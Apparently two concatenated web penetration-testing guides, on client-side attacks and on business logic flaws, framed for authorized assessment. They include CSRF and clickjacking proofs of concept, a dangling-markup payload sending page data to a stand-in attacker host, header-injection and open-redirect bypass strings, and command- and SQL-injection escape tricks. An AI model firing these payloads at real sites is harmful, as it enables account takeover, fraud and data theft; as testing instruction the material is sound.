# Client-Side Attack Testing

## When to Use

Use this skill when you need to assess a web application for vulnerabilities that either trust data transmitted through the client without server-side verification, or that allow one user to target another user's browser session. These two families are conceptually distinct but share the same root: the server's failure to treat the client as an untrusted environment.

This skill covers authorized penetration testing and security code review. It is not a substitute for legal authorization to test a target application. XSS is excluded here and covered by the `xss-detection-and-exploitation` skill.

---

## Core Concepts

### Why Client-Side Controls Fail

The browser executes entirely within the user's control. Any restriction enforced only on the client — a hidden field the application assumes will not be modified, a JavaScript validation gate the application assumes will run — can be bypassed by an attacker who intercepts requests. The only controls that matter for security are those enforced on the server.

### Two Attack Families

**Client-side trust anti-patterns** occur when the server transmits data to the client and reads it back without verifying its integrity. Every channel — hidden form fields, HTTP cookies, URL parameters, the Referer header, ASP.NET ViewState — is attacker-controllable via an intercepting proxy.

**User-targeting attacks** exploit the browser's normal behavior to induce a victim user to perform unintended actions (CSRF, clickjacking) or to leak data to the attacker's domain (cross-domain data capture, open redirection). These attacks do not require the attacker to log in — they ride the victim's authenticated session.

---

## Process

### Phase 1: Client-Side Data Transmission Testing

**Step 1: Identify all client-side data transmission mechanisms.**
Using your intercepting proxy in passive mode, browse the entire application and catalog every location where data is passed to the client and expected back:

- Hidden form fields (`<input type="hidden">`)
- HTTP cookies set by the server (`Set-Cookie` headers)
- URL query string parameters that appear to carry server-state (price codes, product IDs with apparent pre-computation, discount flags)
- The `Referer` header used in multi-step workflows
- ASP.NET `__VIEWSTATE` parameters

WHY: Applications transmit data via the client for performance, scalability, and third-party integration reasons. Developers often assume the transmission channel is tamper-proof. It never is. Identifying these locations is prerequisite to testing them.

**Step 2: Infer the role of each parameter.**
For each item identified, determine from context what server-side logic depends on it. Look for names like `price`, `discount`, `role`, `isAdmin`, `uid`, `returnUrl`. Even opaque values may be encodings of sensitive data.

WHY: Blind tampering generates noise. Understanding the role of a parameter allows you to craft meaningful modifications — for example, setting `price=1` on a checkout form, or flipping `discount=0` to `discount=100`.

**Step 3: Modify each value and observe server behavior.**
Use your proxy's intercept or Repeater tab to change parameter values:

- For hidden form fields: change the value in the intercepted POST request
- For cookies: modify the cookie header in subsequent requests or in the server response that sets the cookie
- For URL parameters: modify directly in the request
- For the Referer header: craft a request directly to a protected endpoint with a spoofed Referer matching the expected prior step
- For opaque values: attempt Base64 decoding (try starting decodes at offsets 0, 1, 2, 3 to account for Base64 block alignment); replay values from other contexts; submit malformed variants

WHY: The Referer header and cookies are not "more tamper-proof" than URL parameters — this is a common developer myth. Any intercepting proxy can modify all request headers with equal ease.

**Step 4: Test ASP.NET ViewState specifically.**
For ASP.NET applications, use Burp Suite's built-in ViewState parser (the ViewState tab in the proxy intercept panel):

1. Check whether MAC protection is enabled (indicated by a 20-byte hash at the end of the ViewState structure and the Burp parser reporting "MAC is enabled")
2. Even if MAC-protected, decode the ViewState to inspect whether the application stores sensitive data within it
3. If MAC protection is absent, edit the decoded ViewState contents in Burp's hex editor to modify any custom application data stored there
4. Test each significant page independently — MAC protection may be enabled globally but disabled on specific pages

WHY: ViewState with MAC protection disabled allows arbitrary modification of server-side state data, which can lead to price manipulation, privilege escalation, or injection vulnerabilities if the deserialized data is used unsafely.

---

### Phase 2: Client-Side Input Validation Bypass

**Step 1: Identify HTML maxlength restrictions.**
Search response HTML for `maxlength` attributes on input elements. Submit values exceeding the declared length via proxy intercept (the browser enforces maxlength client-side only).

WHY: If the server does not replicate the length check, overlong input may trigger SQL injection, cross-site scripting, buffer overflow, or other secondary vulnerabilities. Accepting the overlong input confirms the client-side validation is the only gate.

**Step 2: Identify JavaScript validation on form submission.**
Look for `onsubmit` attributes on form tags or validation functions called before form submission. Methods to bypass:

- Submit a valid value in the browser, intercept the request in the proxy, and replace the value with your desired payload (cleanest approach, does not affect application UI state)
- Disable JavaScript in the browser before submitting the form
- Intercept the server response containing the JavaScript validation code and neutralize the validation function (for example, change the function body to `return true`)

Test each field with invalid data individually, keeping all other fields valid, because the server may stop processing after the first invalid field.

WHY: Client-side validation without server-side replication is purely a user experience feature, not a security control.

**Step 3: Identify and submit disabled form elements.**
Inspect page source (not just proxy traffic — disabled elements are not submitted by the browser, so they do not appear in normal traffic) for `disabled="true"` attributes. Submit the disabled parameter name and value manually via proxy.

WHY: Disabled fields often represent parameters that were active during development or testing. The server-side handler may still process them if submitted, exposing price manipulation or feature-flag bypass opportunities.

---

### Phase 3: Browser Extension Analysis

**Step 1: Intercept browser extension traffic.**
Configure your proxy to intercept traffic from Java applets, Flash objects, or Silverlight applications. If the proxy does not automatically intercept extension traffic, configure the browser's JVM or Flash proxy settings to route through your proxy.

**Step 2: Handle serialized data formats.**
Identify the serialization format from the `Content-Type` header:
- `application/x-java-serialized-object` — Java serialization; use DSer (Burp plugin) to convert to XML, edit, and re-serialize
- AMF (Action Message Format) — Flash remoting; use Burp's AMF support or the AMF plugin
- Custom binary formats — attempt to infer structure from repeated byte patterns; look for length-prefixed strings

**Step 3: Decompile the component bytecode if proxy-level manipulation is insufficient.**
- Java applets: use `javap -c` for disassembly or a full decompiler such as JD-GUI or Procyon to recover source code
- Flash objects: download the `.swf` file and use Flasm or JPEXS Free Flash Decompiler
- Silverlight: extract the `.xap` archive and use dotPeek or ILSpy on the contained DLLs

Review decompiled code for hardcoded credentials, hidden API endpoints, client-side business logic, and validation that should occur server-side.

WHY: Browser extensions enforce validation inside a compiled binary that developers assume cannot be inspected. Decompilation proves that assumption false and often reveals critical security logic implemented entirely on the client.

---

### Phase 4: Cross-Site Request Forgery Testing

**Step 1: Identify CSRF-vulnerable functions.**
A function is potentially vulnerable to CSRF when all three of the following hold:
1. It performs a sensitive or privileged action (state change, account modification, fund transfer, user creation)
2. The application relies solely on HTTP cookies to track session state (no additional token in the request body or URL)
3. All required request parameters can be determined by an attacker in advance (no unpredictable nonces)

**Step 2: Construct a CSRF proof of concept.**
For GET-based actions, use an `<img>` tag with `src` set to the target URL:

```html
<img src="https://target.example.com/action?param=value">
```

For POST-based actions, construct an auto-submitting form:

```html
<html><body>
<form action="https://target.example.com/action" method="POST">
  <input type="hidden" name="param1" value="value1">
  <input type="hidden" name="param2" value="value2">
</form>
<script>document.forms[0].submit();</script>
</body></html>
```

**Step 3: Verify the attack.**
While authenticated in the target application in one browser tab, load the PoC page in the same browser. Confirm the action executes within the victim's session.

**Step 4: Assess anti-CSRF token quality if present.**
If the application includes a per-request token, verify:
- The token is tied to the specific user's session (not shared across users)
- The token value is unpredictable (sufficient entropy, not sequentially issued)
- The token cannot be obtained cross-domain via JavaScript hijacking or CSS injection
- Multi-step flows re-validate the token at every step, not only the first

WHY: CSRF exploits the browser's automatic cookie submission. The only reliable defenses are session-bound unpredictable tokens in the request body, the SameSite cookie attribute, or re-authentication for sensitive actions.

---

### Phase 5: Clickjacking and UI Redress Testing

**Step 1: Check for X-Frame-Options.**
For every sensitive page (login, account settings, fund transfer confirmation, admin functions), examine the HTTP response headers for:

```
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none'
```

If neither is present, the page is potentially vulnerable to UI redress attacks.

**Step 2: Construct a clickjacking proof of concept.**
Create an attacker page that loads the target page in a transparent iframe overlaid on a decoy interface:

```html
<html><head><style>
  iframe { opacity: 0.0; position: absolute; top: 150px; left: 200px;
           width: 600px; height: 400px; z-index: 2; }
  button { position: absolute; top: 150px; left: 200px; z-index: 1; }
</style></head><body>
  <button>Click here to win a prize!</button>
  <iframe src="https://target.example.com/confirm-transfer"></iframe>
</body></html>
```

Adjust iframe positioning to align the decoy button with the target page's sensitive action button.

**Step 3: Test for mobile interface gaps.**
Check mobile-specific UI paths (e.g., `/mobile/` subdirectories) separately. Anti-framing defenses are frequently applied only to the desktop interface.

WHY: UI redress bypasses token-based CSRF defenses because the iframe loads the target page normally — the token is generated and submitted within the framed context. The attack works even when CSRF tokens are correctly implemented.

---

### Phase 6: Cross-Domain Policy and Same-Origin Policy Analysis

**Step 1: Check Flash and Silverlight cross-domain policy files.**
Request `/crossdomain.xml` (Flash/Silverlight) and `/clientaccesspolicy.xml` (Silverlight) from the target origin. Evaluate:

- `<allow-access-from domain="*" />` — any domain can perform two-way interaction; critical finding
- Wildcarded subdomains — XSS on any allowed subdomain can compromise the application
- Intranet hostnames disclosed in the policy file

**Step 2: Test HTML5 CORS configuration.**
Add an `Origin: https://attacker.example.com` header to sensitive requests and examine the response for:

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: https://attacker.example.com
Access-Control-Allow-Credentials: true
```

An `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true` is a critical misconfiguration. Also send an `OPTIONS` preflight request to enumerate which methods and headers are permitted cross-domain.

**Step 3: Test for cross-domain data capture via HTML/CSS injection.**
Where the application reflects limited HTML into responses (HTML injection short of full XSS), test whether the injection point precedes sensitive data such as anti-CSRF tokens. Inject:

```html
<img src='https://attacker.example.com/capture?html=
```

If this unclosed image tag slurps subsequent page content into the URL, sensitive tokens may be transmitted to the attacker's server. Also test CSS injection by injecting `()*(font-family:'` where text injection is possible, and attempt to load the target page as a stylesheet cross-domain.

---

### Phase 7: HTTP Header Injection and Open Redirection

**Step 1: Find header injection entry points.**
Identify all locations where user-supplied data is incorporated into HTTP response headers — commonly the `Location` header in redirects and the `Set-Cookie` header in preference-setting functions. Submit the following test payload in each parameter:

```
English%0d%0aFoo:+bar
```

If the response contains a header line `Foo: bar`, the application is vulnerable. Also try `%0a`, `%250d%250a`, `%0d%0d%%0a0a`, and leading-space bypasses if sanitization is detected.

**Step 2: Assess exploitation impact.**
If arbitrary headers can be injected, demonstrate:
- Cookie injection: inject `Set-Cookie` headers to plant arbitrary cookies in the victim's browser
- Response splitting for cache poisoning: inject a complete second HTTP response body into the cache for a subsequently requested URL

**Step 3: Identify open redirection parameters.**
Walk through the application in the proxy and identify every redirect. For each redirect where user-controlled input determines the target URL, test:

1. Modify the target to an absolute external URL: `https://attacker.example.com`
2. If blocked, test bypass variants:
   - Protocol case: `HtTp://attacker.example.com`
   - Null byte prefix: `%00http://attacker.example.com`
   - Protocol-relative: `//attacker.example.com`
   - URL-encoded: `%68%74%74%70%3a%2f%2fattacker.example.com`
   - Double encoding: `%2568%2574%2574%70%253a%252f%252fattacker.example.com`
   - Domain confusion if app checks for own domain: `http://attacker.example.com?http://target.example.com`
3. If the application prepends a fixed prefix, test whether omitting the trailing slash causes the domain to be treated as a subdomain of an attacker-controlled domain: `redir=.attacker.example.com`

---

### Phase 8: Cookie Injection and Session Fixation

**Step 1: Test for cookie injection vectors.**
Identify functions that accept user input and set it into a cookie value. Inject a newline sequence to add a second `Set-Cookie` header (see HTTP header injection above). Also check whether XSS in related subdomains or parent domains can set cookies for the target application's domain.

**Step 2: Test for session fixation.**
1. As an unauthenticated user, request the login page and record the session token issued
2. Using that token, perform a login with valid credentials
3. If the application does not issue a new session token on successful authentication, it is vulnerable to session fixation
4. Test whether the application accepts arbitrary session tokens it has never issued — if so, the vulnerability is significantly more severe

WHY: Session fixation allows an attacker who can plant a known token in a victim's browser (via cookie injection, URL parameter, or CSRF against the login form) to hijack the victim's authenticated session without ever knowing the victim's credentials.

---

### Phase 9: Local Privacy Testing

**Step 1: Audit persistent cookies.**
Review all `Set-Cookie` headers for the `expires` attribute. Any cookie with a future expiry date is persisted to disk. If the cookie contains sensitive data (session tokens, user identifiers, preference data with security implications), document it as a local privacy finding.

**Step 2: Audit cache directives.**
For every HTTP page that displays sensitive data, verify the presence of all three directives:
```
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
```
If absent, verify that the page is served over HTTPS (not HTTP, where caching is more likely). Validate empirically by clearing the browser cache, accessing the sensitive page, and inspecting the browser's disk cache directory.

**Step 3: Audit autocomplete on sensitive input fields.**
Inspect the HTML source of all forms that capture sensitive data (passwords, credit card numbers, personal identification). Verify that `autocomplete="off"` is set on the `<form>` tag or on the individual sensitive `<input>` tags.

**Step 4: Audit HTML5 local storage.**
Using browser developer tools, inspect `localStorage` and `sessionStorage` for sensitive data stored by the application. `sessionStorage` is cleared when the tab closes; `localStorage` persists indefinitely.

## Examples

### Example 1: Hidden Field Price Manipulation

**Scenario:** E-commerce application transmitting product price in a hidden form field for use at checkout.

**Trigger:** During application mapping, proxy traffic reveals `<input type="hidden" name="price" value="449">` in the purchase form HTML.

**Process:**
1. Add item to cart and proceed to checkout in browser
2. Intercept the POST request in Burp Suite when the Buy button is clicked
3. In the intercepted request body, locate `quantity=1&price=449`
4. Modify `price=449` to `price=1` and forward the request
5. Also test `price=-100` to check for negative-price acceptance

**Output:** If the order is processed at the modified price, document as CWE-565 (Reliance on Cookies Without Validation) / improper trust in client-submitted data. Remediation: look up price server-side from the product catalog at time of purchase; never trust client-submitted price values.

---

### Example 2: CSRF Against Account Email Change

**Scenario:** A web application allows users to change their email address via a POST request that relies solely on the session cookie for authentication.

**Trigger:** Application mapping reveals `POST /account/change-email` accepts `[email protected]` with no additional token in the request body.

**Process:**
1. Confirm no anti-CSRF token is present in the request or the form HTML
2. Confirm no `SameSite` attribute is set on the session cookie
3. Construct the PoC page with an auto-submitting form pointing to `/account/change-email` with `[email protected]`
4. While authenticated in the target application, load the PoC in the same browser session
5. Confirm that the email address is changed to the attacker-controlled address

**Output:** Document as CWE-352 (Cross-Site Request Forgery), severity High. Remediation: implement synchronizer token pattern (per-session or per-request CSRF token in request body), or set `SameSite=Strict` on session cookies.

---

### Example 3: Clickjacking on Fund Transfer Confirmation

**Scenario:** A banking application's fund transfer confirmation page (`/transfer/confirm`) lacks `X-Frame-Options`.

**Trigger:** Security header review reveals `X-Frame-Options` is absent from the `/transfer/confirm` response.

**Process:**
1. Construct the iframe overlay PoC with the confirmation page loaded transparently
2. Position the transparent iframe so the Confirm button aligns with a decoy "Click to claim reward" button on the attacker page
3. Open the PoC in a browser where the victim user is authenticated to the banking application
4. Click the decoy button — verify the fund transfer is confirmed within the framed application

**Output:** Document as CWE-1021 (Improper Restriction of Rendered UI Layers / Clickjacking), severity High. Remediation: add `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'` to all sensitive pages. Note: JavaScript framebusting is not a reliable substitute — it can be circumvented via sandbox iframe attributes.

## Remediation Reference

| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Hidden field / cookie / URL param tampering | Server trusts client-submitted data | Store and look up all security-relevant data server-side; validate every parameter server-side |
| Referer-header access control | Referer is optional and attacker-controllable | Use proper session-based authorization; never use Referer as an access control gate |
| ViewState tampering | MAC protection disabled | Enable `EnableViewStateMac`; do not store sensitive data in ViewState |
| JavaScript validation bypass | No server-side replication | Treat all client-side validation as UX only; replicate every constraint server-side |
| CSRF | Cookie-only session tracking | Implement synchronizer token pattern or use `SameSite=Strict` cookies |
| Clickjacking | Missing framing controls | Set `X-Frame-Options: DENY` or `frame-ancestors 'none'` CSP |
| Open redirection | User input controls redirect target | Use an allow-list of valid redirect targets; reject absolute URLs; prepend own origin with trailing slash |
| HTTP header injection | Unsanitized user input in headers | Strip all characters with ASCII code below 0x20 from data inserted into headers |
| Session fixation | Session token not rotated at login | Issue a new session token immediately after successful authentication |
| Local privacy: cached content | Missing cache-control directives | Set `Cache-Control: no-cache`, `Pragma: no-cache`, `Expires: 0` on all sensitive pages |
| Local privacy: autocomplete | Missing autocomplete=off | Set `autocomplete="off"` on all forms and fields capturing sensitive data |

  Test web application business logic for vulnerabilities that automated scanners cannot detect. Use this skill when: performing a penetration test or security assessment and automated tools have been run but logic-layer coverage is still needed; testing multistage workflows (checkout, account creation, approval flows, insurance applications) for stage-skipping or cross-stage parameter pollution; probing authentication and password-change functions for parameter-removal bypasses (deleting existingPassword to impersonate an admin); testing numeric business limits for negative-number bypass (submitting -$20,000 to avoid approval thresholds); probing discount or pricing logic for timing flaws (add items to qualify, remove before payment); investigating whether shared code components allow session object poisoning across unrelated application flows; hunting for encryption oracles where a low-value crypto context can be used to forge high-value tokens; probing search functions that return match counts as side-channel inference oracles; testing for defense interaction flaws where quote-doubling plus length truncation reconstructs an injection payload; checking whether debug error messages expose session tokens or credentials cross-user via static storage; testing race conditions in authentication that cause cross-user session assignment under concurrent login. Logic flaws arise from violated developer assumptions — assumptions that users will follow intended sequences, supply only requested parameters, omit parameters they were not asked for, and not cross-pollinate state between application flows. Each flaw is unique and application-specific, but the 12 attack patterns documented here provide a reusable taxonomy that transfers across application domains.

# Application Logic Flaw Testing

## When to Use

Use this skill when you need to discover business logic vulnerabilities that no automated scanner will find. Automated tools identify vulnerabilities with recognizable signatures — SQL injection payloads that produce database errors, cross-site scripting payloads that reflect in responses. Logic flaws have no signature. Each instance is a unique one-off tied to the specific assumptions a development team made when building a particular feature.

Logic flaws arise when a developer reasons: "If A happens, then B must be the case, so I will do C" — and fails to ask "But what if X occurs?" The flaw is not in a library or protocol; it is in the developer's mental model of how users will behave. Testing for logic flaws therefore requires getting inside that mental model, understanding what the developers assumed, and then deliberately violating those assumptions.

This skill applies to authorized penetration tests, appsec audits, and security code reviews. It is not a substitute for legal authorization to test a target application.

---

## Core Concepts

### The Nature of Logic Flaws

Logic flaws differ from injection or authentication vulnerabilities in three critical ways:

- **No common signature.** There is no payload or pattern that reliably indicates a logic flaw. Each instance looks different.
- **Not scanner-detectable.** Automated vulnerability scanners cannot model developer intent. They can only recognize known bad outputs, not absent business rules.
- **Lateral thinking required.** Finding logic flaws demands imagination — the tester must think about what the application was built to prevent, and then think about what the developers forgot to consider.

The defining characteristic of every logic flaw is a **violated assumption**: a condition the developer believed could never occur, which the attacker can deliberately engineer.

### The Assumption Framework

For each area of functionality under test, apply this analytical frame:

1. **What is this feature designed to do?** Understand the intended happy path.
2. **What assumptions does the implementation make?** Look for assumed user behavior: assumed parameter presence/absence, assumed request sequence, assumed value ranges, assumed role segregation.
3. **Which assumptions are user-controllable?** Any assumption that depends on client-side behavior can be violated.
4. **What happens when the assumption is violated?** What does the server do? What business rule breaks?

---

## Process

### Phase 1 — Reconnaissance and Assumption Mapping

**Step 1: Map all multistage workflows.**
Identify every process that spans more than one HTTP request or page: checkout flows, account registration, password change, loan/insurance applications, approval chains. Document the intended sequence and the mechanism by which stages are linked (URL parameters, POST fields, session state).

*Why: Logic flaws concentrate in workflows because developers mentally simulate users following the intended path. Every stage transition is a potential assumption violation point.*

**Step 2: Identify all user roles and shared components.**
Determine what roles exist (anonymous, authenticated user, administrator, underwriter, etc.) and whether any server-side code components are shared across roles. Note any functionality that allows one role to trigger server-side state that another role reads.

*Why: Shared components are the most dangerous logic flaw surface. A component designed for Role A that is reused for Role B often carries assumptions that are valid in one context and exploitable in the other.*

**Step 3: Document all parameters in each workflow.**
For each request in a workflow, record every parameter name and value. Note which parameters are hidden, which are read from session vs. the request, and which differ between user roles performing the same operation.

*Why: Parameter names that differ between roles (e.g., `existingPassword` present for users, absent for admins) reveal assumption-based branching in server logic.*

---

### Phase 2 — Apply the 12 Flaw Pattern Library

Work through each pattern below as a lens. For each pattern, identify which application areas are plausible candidates, then design a targeted test.

---

#### Pattern 1: Encryption Oracle

**Violated assumption:** The encryption algorithm and key used to protect a high-value token are not accessible to users through any other mechanism.

**Test approach:** Identify every location where the application encrypts or decrypts data supplied by or returned to the user. Look for low-value encrypted values (screen name cookies, preference tokens) that use the same algorithm/key as high-value tokens (authentication tokens, session identifiers). Submit a high-value encrypted token in a field expecting a low-value encrypted token. Observe whether the application decrypts and processes it.

**Hack steps:**
- Find all locations where encryption (not hashing) is used. Hashing is one-way; encryption implies a key that the application holds.
- Attempt to substitute any encrypted value found in one context into a field expecting an encrypted value in a different context.
- Cause deliberate errors that reveal decrypted values, or find screens that intentionally display decrypted content.
- Test whether user-controlled plaintext input causes the application to return a corresponding encrypted value (oracle-encrypt path).
- Test whether user-controlled encrypted input causes the application to display the corresponding plaintext (oracle-decrypt path).

**Impact:** Complete authentication bypass. Attacker forges a session token for any user, including administrators.

---

#### Pattern 2: Parameter Removal Bypass

**Violated assumption:** The presence or absence of a parameter in a request reliably indicates the user's role or privilege level.

**Test approach:** For every request in a sensitive workflow, remove each parameter entirely (not just blank it — delete the name/value pair). Observe whether the server's behavior changes. Pay special attention to parameters that differ between roles performing the same function.

**Hack steps:**
- Identify parameters submitted in requests and remove them one at a time.
- Delete the parameter name as well as its value. Submitting an empty string is handled differently from omitting the parameter entirely.
- Remove one parameter per request to isolate which code path each parameter controls.
- For multistage processes, follow through to completion after each removal — some effects only manifest in later stages.

**Impact:** Authentication bypass, privilege escalation, or constraint removal depending on which parameter controls which check.

---

#### Pattern 3: Workflow Stage Skip (Forced Browsing)

**Violated assumption:** Users will always access multistage functions in the intended sequence because the browser presents them in that order.

**Test approach:** Map the intended sequence of a multistage workflow. Attempt to access later stages directly without completing earlier stages. Try accessing stage N+2 from stage N (skip one), accessing the final confirmation step from the first step, and re-accessing early stages after completing later ones.

**Hack steps:**
- Determine whether stages are distinguished by URL, POST parameters, a stage index field, or session state.
- Submit requests for each stage out of sequence. Try skipping individual stages and jumping directly to the final stage.
- Observe error conditions when stages are accessed out of order — debug output often reveals application internals.
- Note that incomplete session state from skipped stages may cause unexpected application behavior worth exploring further.

**Impact:** Payment bypass, authorization bypass, approval bypass — any business rule enforced in a skipped stage is evaded.

---

#### Pattern 4: Cross-Stage Parameter Pollution

**Violated assumption:** Users will only submit the parameters that the HTML form at each stage requests; they will not supply parameters from other stages or roles.

**Test approach:** In a multistage workflow, identify parameters submitted at each stage. During a later stage, additionally submit parameters that belong to an earlier stage (or that belong to a different user role). If the server maintains a shared state object that is updated with any parameter supplied at any stage, out-of-sequence parameters will be accepted and processed.

**Hack steps:**
- Walk through the full workflow as each available user role, capturing all parameters submitted at each stage.
- During each stage, additionally submit parameters from other stages or other roles.
- Observe whether the parameters are accepted and whether they affect downstream application state.
- Test whether parameters exclusive to a privileged role (underwriter decision fields, admin approval flags) can be submitted by a lower-privileged role.

**Impact:** Price manipulation, approval bypass, privilege escalation, cross-site scripting stored against privileged reviewers.

---

#### Pattern 5: Session Object Poisoning

**Violated assumption:** A code component reused across multiple features creates independent session objects in each context; using it in one flow does not affect the session state in another.

**Test approach:** Identify features that allow a user to input data that is stored in the session (registration, profile update, account switch). After completing such a flow, navigate to a completely different area of the application and observe whether the session state accumulated in the first flow affects the second flow's behavior or output.

**Hack steps:**
- In complex applications with horizontal or vertical privilege segregation, look for any instance where a user accumulates session state that relates to identity.
- Use one area of functionality (e.g., registration) to write a target user's identity into your session object.
- Switch to a different area of functionality (e.g., account overview) and observe whether the poisoned session state causes the application to act as the target user.
- This is a black-box test; the application behavior must be observed indirectly through output differences.

**Impact:** Full account takeover — attacker accesses another user's financial data, statements, and transactional functionality.

---

#### Pattern 6: Negative Number Bypass

**Violated assumption:** The value supplied for a quantity or amount will always be positive; the approval threshold check (`amount <= threshold`) will always catch large transfers.

**Test approach:** For any numeric input that controls a business limit, pricing calculation, or approval threshold, submit negative values. Observe whether the server accepts them, how it processes them, and what downstream effect occurs.

**Hack steps:**
- Identify all numeric inputs that are bounded by business rules (transfer amounts, order quantities, discount percentages, insurance values).
- Submit negative values and observe whether they pass validation.
- Understand what the negative value means semantically to the application — a negative transfer is often processed as a transfer in the opposite direction.
- Consider multi-step exploits: engineer a balance state via several transfers that enables extraction.

**Impact:** Financial fraud, approval bypass, inventory manipulation.

---

#### Pattern 7: Discount Timing Flaw

**Violated assumption:** A user who qualifies for a discount at the time of adding items to a cart will purchase all the qualifying items; discount adjustments applied at add-time are final.

**Test approach:** In any application that applies discounts, pricing adjustments, or promotions based on the composition of a user's cart or order, add items to qualify for the adjustment, then remove some qualifying items after the discount has been applied. Observe whether the discount persists on remaining items.

**Hack steps:**
- Understand the algorithm the application uses to determine discount eligibility and the point in the workflow where adjustments are made.
- Determine whether adjustments are made once at add-time or recalculated on every cart change.
- Add qualifying items to trigger a discount, verify the discount is applied, then remove the items you do not want.
- Observe whether the discount persists on the items you retain.

**Impact:** Unauthorized price reductions, financial loss to the application owner.

---

#### Pattern 8: Escape-from-Escaping

**Violated assumption:** Escaping all potentially dangerous metacharacters in user input provides complete protection against injection; the escape character itself is not dangerous.

**Test approach:** When probing for command injection or other metacharacter-sensitive injection points where escaping is applied, prefix each dangerous character with a backslash. If the application escapes the semicolon in `foo;ls` to produce `foo\;ls` but does not also escape the backslash, then input `foo\;ls` will be transformed to `foo\\;ls` — where the shell interpreter treats the first backslash as escaping the second, leaving the semicolon unescaped.

**Hack steps:**
- When testing any input that is sanitized by escaping metacharacters, always try placing a backslash immediately before each metacharacter in your payload.
- Input: `foo\;ls` → after escaping: `foo\\;ls` → shell sees: literal backslash + unescaped semicolon = command injection.
- This same pattern applies to JavaScript string contexts where backslash-escaping of quotes is used as an cross-site scripting defense.

**Impact:** Command injection, cross-site scripting — complete bypass of the escaping defense.

---

#### Pattern 9: Defense Interaction Flaw (Quote-Doubling + Truncation)

**Violated assumption:** Two independently sound defense mechanisms (quote-escaping and length truncation) are still sound when applied in sequence.

**Test approach:** When an application doubles single quotes to prevent SQL injection and also truncates input to a maximum length, the two defenses interact destructively. A payload of 127 a's followed by a single quote: the doubling adds one character (making it 129), then truncation to 128 removes the doubled second quote, leaving a single unescaped quote that breaks query syntax.

**Hack steps:**
- Note all instances where the application modifies user input: truncation, stripping, encoding, escaping.
- Test for defense interaction by submitting two long strings: one consisting entirely of single quotes, one of `a` characters followed by a single quote. Observe whether an error occurs after either even or odd numbers of characters are submitted.
- If data is stripped non-recursively (e.g., SQL keywords removed once), try nested payloads: `SELSELECTECT` — removing the inner `SELECT` leaves `SELECT`.
- If URL decoding occurs before stripping, try double-encoded payloads.

**Impact:** SQL injection bypass, authentication bypass despite defense-in-depth measures.

---

#### Pattern 10: Search Function Inference Oracle

**Violated assumption:** A search function that returns only document titles (not content) provides no meaningful access to the documents' protected content.

**Test approach:** When a search function returns the count of matching documents (or a binary match/no-match indication) rather than full document content, it can be exploited as an oracle. Issue a large number of targeted queries, narrowing down the content of protected documents through binary search — similar to blind SQL injection inference.

**Hack steps:**
- Identify search functions that return counts or match indicators for content the user is not authorized to view in full.
- For a target document, construct queries with progressively more specific terms and observe match counts.
- Use the binary search approach: if `[topic] [subtopic]` returns 1 match and `[topic] [subtopic] [candidate phrase]` returns 0, the document does not contain that phrase.
- Apply letter-by-letter brute force when the search function matches substrings rather than whole words (effective against passwords stored in wikis and document management systems).

**Impact:** Unauthorized disclosure of protected content, credential leakage, competitive intelligence exposure.

---

#### Pattern 11: Debug Message Harvesting

**Violated assumption:** Debug information returned to a user only contains data about that user's own session and request; it is harmless to display because the user already has access to this information.

**Test approach:** Identify any conditions that cause verbose error messages, debug dumps, or diagnostic responses containing user-specific information (session tokens, usernames, request parameters). Determine whether the storage mechanism for this information is session-scoped or stored in a static (application-global) container. If static, poll the error message endpoint repeatedly across time — it will intermittently expose other users' session data.

**Hack steps:**
- Catalog all anomalous conditions that produce verbose error responses containing user-identifying information.
- Test the error message endpoint using two accounts simultaneously. Engineer an error condition for one account, then immediately access the error endpoint from the second account. If both see the same debug data, the storage is static, not session-scoped.
- Poll the error URL repeatedly over a period of time, logging each response. Even without concurrent testing, a static container will eventually expose another user's data if the application has meaningful traffic.

**Impact:** Mass credential harvesting — session tokens, usernames, and user-supplied input (possibly passwords) exposed across the entire user base.

---

#### Pattern 12: Race Condition (Static Variable Login)

**Violated assumption:** The login process, which has been reviewed and tested, is thread-safe; it cannot produce cross-user session assignment.

**Test approach:** Race conditions in authentication arise when a key identifier (user ID, session object) is briefly written to a static (non-session) variable during the login flow. If two login requests execute concurrently, one thread may overwrite the static variable before the other thread reads it, causing the earlier thread's session to be established with the second user's identity. Testing requires generating high volumes of concurrent requests against security-critical functions.

**Hack steps:**
- Target security-critical functions: login mechanisms, password change functions, funds transfer processes.
- For each function under test, identify the minimal request set required to perform the action and the simplest means of confirming the result (e.g., verify that a login resulted in access to the expected account).
- From multiple machines at different network locations, script simultaneous execution of the same action on behalf of multiple different user accounts.
- Run a large number of iterations. Confirm that each action produced the expected result for the expected user. Anomalies indicate a race condition.
- Be prepared for a high volume of false positives from load effects unrelated to thread safety.

**Caution:** Remote black-box race condition testing is a specialized undertaking appropriate only for the most security-critical applications. It generates high request volumes that may resemble a load test.

**Impact:** Complete authentication bypass, cross-user account access, financial fraud.

---

### Phase 3 — Document and Report

**Step 1: Classify each finding by flaw pattern.**
For each confirmed vulnerability, identify which of the 12 patterns it instantiates (or describe a new pattern if none applies). State the violated developer assumption explicitly.

**Step 2: Document reproduction steps.**
Capture the exact HTTP requests needed to reproduce the flaw. For multistage exploits, number each step.

**Step 3: Rate business impact.**
Logic flaws often have severe business impact (payment bypass, account takeover, financial fraud) even when the technical complexity of exploitation is low. Rate impact in business terms, not just technical severity.

**Step 4: Produce remediation recommendations.**
Map each finding to the relevant defensive principle from the Avoiding Logic Flaws section below.

---

## Avoiding Logic Flaws — Defensive Principles

These principles apply to developers building secure applications and to testers verifying that defenses are adequate.

- **Document all assumptions explicitly.** Every assumption a designer makes should appear in design documentation. An outsider reading the document should be able to understand every assumption and why it holds.
- **Comment source code with component purpose, assumptions, and consumer list.** Every code component should state what it assumes about its inputs, what it assumes about the context in which it is called, and which other components depend on it.
- **During design review, enumerate assumptions and imagine violations.** For each assumption, ask: "Is this condition actually within the control of application users?" If yes, it must be enforced server-side, not assumed.
- **During code review, think laterally about unexpected user behavior and component side effects.** Consider how shared components behave when called from unexpected contexts.
- **Drive all identity and privilege decisions from server-side session state.** Never infer role or privilege from parameter presence/absence, HTTP Referer, or other client-controlled signals.
- **Treat user input as user-controlled in every dimension.** Users control parameter names (not just values), request sequence, which parameters they include or omit, and which features they access in which order.
- **Validate numeric input canonicalization before applying business limits.** If negative values are not semantically valid, reject them explicitly before applying threshold checks.
